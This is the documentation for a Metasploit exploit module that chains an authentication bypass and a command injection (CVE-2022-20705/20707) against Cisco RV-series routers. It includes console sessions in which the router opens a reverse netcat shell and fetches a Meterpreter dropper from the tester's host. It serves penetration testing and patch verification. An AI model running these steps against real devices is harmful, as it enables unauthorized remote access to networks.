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Vulnerable Application

This module exploits two vulnerabilities, an authentication bypass (CVE-2022-20705) and a command injection vulnerability (CVE-2022-20707), to execute code on Cisco RV160, RV260, RV340, and RV345 Small Business Routers prior to 1.0.03.26 as the www-data user. The command injection occurs in the upload.cgi script, where user input in the data POST parameter is passed to curl without any sanitization. Additionally, the sessionid session cookie can be abused for a path traversal vulnerability, which can be used to bypass authentication by setting sessionid to the path to a valid file on the target.

This module has been tested against an RV340 device running firmware version 1.0.03.24. Firmware version 1.0.03.26 patches these vulnerabilities.

Installation

Firmware version 1.0.03.24, which is vulnerable to CVE-2022-20705 and CVE-2022-20707, can be downloaded from https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.24

To install this firmware, follow the following directions:

1. Log into the modem. The default IP address is 192.168.1.1 and the default credentials are cisco for the username and password.

2. The administration option on the left side of the web page will take you to a form with a Manual Upgrade section.

3. Leave File Type: on the default Firmware Image option.

4. Change Upgrade From: option to PC.

5. Press the Upgrade button.

6. Press Yes on the message box asking Are you sure you want to upgrade the firmware right now?.

7. Wait for router reboot to complete.

Verification Steps

1. Install the vulnerable firmware

2. Start msfconsole

3. Do: use modules/exploits/linux/http/cisco_rv340_lan

4. Do: set lhost <listening ip>

5. Do: set rhost <target ip>

6. Do: exploit

7. Verify: You see the message Exploit successfully executed confirming the exploit completed

8. Verify: You are the www-data user using the id command

Options

Scenarios

Cisco RV340 Router 1.0.03.24 on ARM architecture - reverse_netcat payload

msf6 > use modules/exploits/linux/http/cisco_rv340_lan
[*] Using configured payload cmd/unix/reverse_netcat
msf6 exploit(linux/http/cisco_rv340_lan) > set lhost 192.168.1.142
lhost => 192.168.1.142
msf6 exploit(linux/http/cisco_rv340_lan) > set rhost 192.168.1.1
rhost => 192.168.1.1
msf6 exploit(linux/http/cisco_rv340_lan) > exploit

[*] Started reverse TCP handler on 192.168.1.142:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The device responded to exploitation with a 200 OK.
[*] Executing Unix Command for cmd/unix/reverse_netcat
[*] Command shell session 1 opened (192.168.1.142:4444 -> 192.168.1.1:55885) at 2023-02-05 10:06:22 -0500
[+] Exploit successfully executed.

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Cisco RV340 Router 1.0.03.24 on ARM architecture - reverse_tcp ARMLE Meterpreter payload

msf6 > use modules/exploits/linux/http/cisco_rv340_lan
[*] Using configured payload cmd/unix/reverse_netcat
msf6 exploit(linux/http/cisco_rv340_lan) > set lhost 192.168.1.142
lhost => 192.168.1.142
msf6 exploit(linux/http/cisco_rv340_lan) > set rhost 192.168.1.1
rhost => 192.168.1.1
msf6 exploit(linux/http/cisco_rv340_lan) > set target 1
target => 1
msf6 exploit(linux/http/cisco_rv340_lan) > exploit

[*] Started reverse TCP handler on 192.168.1.142:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The device responded to exploitation with a 200 OK.
[*] Executing Linux Dropper for linux/armle/meterpreter/reverse_tcp
[*] Using URL: http://192.168.1.142:8080/3b2NfBKR0OS
[*] Client 192.168.1.1 (Wget) requested /3b2NfBKR0OS
[*] Sending payload to 192.168.1.1 (Wget)
[*] Sending stage (934728 bytes) to 192.168.1.1
[+] Exploit successfully executed.
[*] Command Stager progress - 100.00% done (117/117 bytes)
[*] Meterpreter session 2 opened (192.168.1.142:4444 -> 192.168.1.1:55950) at 2023-02-05 10:12:37 -0500
[*] Server stopped.

meterpreter > shell
Process 11012 created.
Channel 1 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)